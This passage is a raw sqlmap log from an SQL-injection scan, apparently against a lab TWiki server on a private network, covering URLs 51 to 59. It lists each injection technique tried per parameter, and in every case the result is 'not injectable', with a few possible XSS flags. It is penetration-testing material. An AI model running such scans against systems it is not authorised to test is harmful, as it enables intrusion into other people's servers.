WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 51: GET http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:46:05] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:46:05] [INFO] testing connection to the target URL [18:46:05] [INFO] testing if the target URL is stable [18:46:06] [INFO] target URL is stable [18:46:06] [INFO] testing if URI parameter '#1' is dynamic [18:46:06] [WARNING] URI parameter '#1*' does not appear dynamic [18:46:06] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:46:06] [INFO] testing for SQL injection on URI parameter '#1*' [18:46:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:46:07] [WARNING] reflective value(s) found and filtering out [18:46:08] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [18:46:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:46:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:46:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:46:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:46:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:46:08] [INFO] testing 'MySQL inline queries' [18:46:08] [INFO] testing 'PostgreSQL inline queries' [18:46:08] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:46:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:46:08] [WARNING] time-based comparison requires larger statistical model, please wait......
[18:46:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:46:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:46:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:46:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:46:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:46:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:46:09] [INFO] testing 'Oracle AND time-based blind' [18:46:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:46:09] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:46:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [18:46:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [18:46:13] [INFO] checking if the injection point on URI parameter '#1*' is a false positive [18:46:13] [WARNING] false positive or unexploitable injection point detected [18:46:13] [WARNING] URI parameter '#1*' is not injectable [18:46:13] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 52: GET http://192.168.1.113:80/twiki/bin/view/Know/WebChanges?skin=print do you want to test this URL? [Y/n/q] Y [18:46:13] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Know/WebChanges?skin=print' [18:46:13] [INFO] testing connection to the target URL [18:46:14] [INFO] testing if the target URL is stable [18:46:14] [INFO] target URL is stable [18:46:14] [INFO] testing if GET parameter 'skin' is dynamic [18:46:15] [INFO] confirming that GET parameter 'skin' is dynamic [18:46:15] [INFO] GET parameter 'skin' is dynamic [18:46:15] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:46:15] [INFO] testing for SQL injection on GET parameter 'skin' [18:46:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:46:15] [INFO] heuristics detected web page charset 'ascii' [18:46:15] [WARNING] reflective value(s) found and filtering out [18:46:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:46:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:46:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:46:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:46:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:46:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:46:20] [INFO] testing 'MySQL inline queries' [18:46:20] [INFO] testing 'PostgreSQL inline queries' [18:46:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:46:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:46:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:46:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:46:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:46:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:46:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:46:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:46:25] [INFO] testing 'Oracle AND time-based blind' [18:46:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:46:26] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:46:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:46:43] [WARNING] GET parameter 'skin' is not injectable [18:46:43] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 53: GET http://192.168.1.113:80/twiki/bin/rdiff/Know/WebChanges?rev1=1.3&rev2=1.2 do you want to test this URL? [Y/n/q] Y [18:46:43] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebChanges?rev1=1.3&rev2=1.2' [18:46:43] [INFO] testing connection to the target URL [18:46:43] [INFO] testing if the target URL is stable [18:46:44] [INFO] target URL is stable [18:46:44] [INFO] testing if GET parameter 'rev1' is dynamic [18:46:44] [WARNING] GET parameter 'rev1' does not appear dynamic [18:46:45] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:46:45] [INFO] testing for SQL injection on GET parameter 'rev1' [18:46:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:46:47] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:46:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:46:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:46:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:46:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:46:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:46:51] [INFO] testing 'MySQL inline queries' [18:46:51] [INFO] testing 'PostgreSQL inline queries' [18:46:51] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:46:51] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:46:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:46:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:46:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:46:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:46:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:46:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:46:57] [INFO] testing 'Oracle AND time-based blind' [18:46:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:46:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:47:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:47:19] [WARNING] GET parameter 'rev1' is not injectable [18:47:19] [INFO] testing if GET parameter 'rev2' is dynamic [18:47:19] [WARNING] GET parameter 'rev2' does not appear dynamic [18:47:19] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:47:19] [INFO] testing for SQL injection on GET parameter 'rev2' [18:47:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:47:21] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:47:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:47:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:47:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:47:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:47:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:47:26] [INFO] testing 'MySQL inline queries' [18:47:26] [INFO] testing 'PostgreSQL inline queries' [18:47:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:47:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:47:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:47:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:47:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:47:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:47:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:47:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:47:33] [INFO] testing 'Oracle AND time-based blind' [18:47:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:47:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:47:55] [WARNING] GET parameter 'rev2' is not injectable [18:47:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 54: GET http://192.168.1.113:80/twiki/bin/view/Know/WebChanges?rev=1.2 do you want to test this URL? [Y/n/q] Y [18:47:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Know/WebChanges?rev=1.2' [18:47:55] [INFO] testing connection to the target URL [18:47:56] [INFO] testing if the target URL is stable [18:47:56] [INFO] target URL is stable [18:47:56] [INFO] testing if GET parameter 'rev' is dynamic [18:47:57] [WARNING] GET parameter 'rev' does not appear dynamic [18:47:57] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:47:57] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:47:57] [INFO] testing for SQL injection on GET parameter 'rev' [18:47:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:47:57] [WARNING] reflective value(s) found and filtering out [18:47:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:47:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:47:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:48:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:48:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:48:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:48:01] [INFO] testing 'MySQL inline queries' [18:48:01] [INFO] testing 'PostgreSQL inline queries' [18:48:01] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:48:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:48:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:48:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:48:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:48:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:48:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:48:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:48:05] [INFO] testing 'Oracle AND time-based blind' [18:48:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:48:05] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:48:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:48:20] [WARNING] GET parameter 'rev' is not injectable [18:48:20] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:48:20] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebChanges?rev1=1.2&rev2=1.1' [18:48:20] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebChanges?rev=1.1' URL 55: GET http://192.168.1.113:80/twiki/bin/oops/Know/WebChanges?template=oopsmore¶m1=1.3¶m2=1.3 do you want to test this URL? [Y/n/q] Y [18:48:20] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Know/WebChanges?template=oopsmore¶m1=1.3¶m2=1.3' [18:48:20] [INFO] testing connection to the target URL [18:48:20] [INFO] testing if the target URL is stable [18:48:21] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:48:21] [INFO] testing if GET parameter 'template' is dynamic [18:48:21] [INFO] confirming that GET parameter 'template' is dynamic [18:48:21] [INFO] GET parameter 'template' is dynamic [18:48:21] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:48:21] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:48:21] [INFO] testing for SQL injection on GET parameter 'template' [18:48:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:48:22] [INFO] heuristics detected web page charset 'ascii' [18:48:22] [WARNING] reflective value(s) found and filtering out [18:48:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:48:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:48:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:48:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:48:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:48:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:48:24] [INFO] testing 'MySQL inline queries' [18:48:24] [INFO] testing 'PostgreSQL inline queries' [18:48:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:48:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:48:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:48:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:48:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:48:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:48:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:48:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:48:27] [INFO] testing 'Oracle AND time-based blind' [18:48:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:48:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:48:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:48:36] [WARNING] GET parameter 'template' is not injectable [18:48:36] [INFO] testing if GET parameter 'param1' is dynamic [18:48:36] [WARNING] GET parameter 'param1' does not appear dynamic [18:48:36] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:48:37] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:48:37] [INFO] testing for SQL injection on GET parameter 'param1' [18:48:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:48:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:48:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:48:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:48:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:48:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:48:40] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:48:40] [INFO] testing 'MySQL inline queries' [18:48:40] [INFO] testing 'PostgreSQL inline queries' [18:48:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:48:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:48:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:48:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:48:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:48:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:48:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:48:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:48:43] [INFO] testing 'Oracle AND time-based blind' [18:48:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:48:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:48:56] [WARNING] GET parameter 'param1' is not injectable [18:48:56] [INFO] testing if GET parameter 'param2' is dynamic [18:48:56] [WARNING] GET parameter 'param2' does not appear dynamic [18:48:56] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:48:56] [INFO] testing for SQL injection on GET parameter 'param2' [18:48:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:48:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:48:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:48:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:48:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:48:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:48:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:48:59] [INFO] testing 'MySQL inline queries' [18:48:59] [INFO] testing 'PostgreSQL inline queries' [18:49:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:49:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:49:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:49:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:49:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:49:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:49:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:49:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:49:03] [INFO] testing 'Oracle AND time-based blind' [18:49:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:49:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:49:16] [WARNING] GET parameter 'param2' is not injectable [18:49:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 56: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/MeaningfulTitle?topicparent=TWiki.TextFormattingFAQ do you want to test this URL? [Y/n/q] Y [18:49:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/MeaningfulTitle?topicparent=TWiki.TextFormattingFAQ' [18:49:16] [INFO] testing connection to the target URL [18:49:16] [INFO] testing if the target URL is stable [18:49:17] [INFO] target URL is stable [18:49:17] [INFO] testing if GET parameter 'topicparent' is dynamic [18:49:17] [WARNING] GET parameter 'topicparent' does not appear dynamic [18:49:17] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [18:49:17] [INFO] testing for SQL injection on GET parameter 'topicparent' [18:49:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:49:17] [WARNING] reflective value(s) found and filtering out [18:49:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:49:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:49:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:49:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:49:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:49:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:49:20] [INFO] testing 'MySQL inline queries' [18:49:20] [INFO] testing 'PostgreSQL inline queries' [18:49:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:49:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:49:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:49:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:49:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:49:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:49:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:49:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:49:23] [INFO] testing 'Oracle AND time-based blind' [18:49:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:49:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:49:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:49:35] [WARNING] GET parameter 'topicparent' is not injectable [18:49:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 57: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiStyleWord?topicparent=TWiki.TextFormattingFAQ do you want to test this URL? [Y/n/q] Y [18:49:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiStyleWord?topicparent=TWiki.TextFormattingFAQ' [18:49:35] [INFO] testing connection to the target URL [18:49:35] [INFO] testing if the target URL is stable [18:49:36] [INFO] target URL is stable [18:49:36] [INFO] testing if GET parameter 'topicparent' is dynamic [18:49:36] [WARNING] GET parameter 'topicparent' does not appear dynamic [18:49:36] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [18:49:36] [INFO] testing for SQL injection on GET parameter 'topicparent' [18:49:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:49:36] [WARNING] reflective value(s) found and filtering out [18:49:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:49:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:49:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:49:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:49:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:49:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:49:39] [INFO] testing 'MySQL inline queries' [18:49:40] [INFO] testing 'PostgreSQL inline queries' [18:49:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:49:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:49:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:49:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:49:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:49:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:49:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:49:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:49:43] [INFO] testing 'Oracle AND time-based blind' [18:49:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:49:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:49:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:49:55] [WARNING] GET parameter 'topicparent' is not injectable [18:49:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 58: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingFAQ?t=1441456782 do you want to test this URL? [Y/n/q] Y [18:49:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingFAQ?t=1441456782' [18:49:55] [INFO] testing connection to the target URL [18:49:55] [INFO] testing if the target URL is stable [18:49:56] [INFO] target URL is stable [18:49:56] [INFO] testing if GET parameter 't' is dynamic [18:49:56] [WARNING] GET parameter 't' does not appear dynamic [18:49:56] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:49:56] [INFO] testing for SQL injection on GET parameter 't' [18:49:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:49:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:49:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:49:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:49:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:49:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:50:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:50:00] [INFO] testing 'MySQL inline queries' [18:50:00] [INFO] testing 'PostgreSQL inline queries' [18:50:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:50:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:50:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:50:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:50:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:50:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:50:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:50:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:50:03] [INFO] testing 'Oracle AND time-based blind' [18:50:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:50:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:50:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:50:17] [WARNING] GET parameter 't' is not injectable [18:50:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 59: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Text Formatting FAQ[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:50:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Text Formatting FAQ[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y 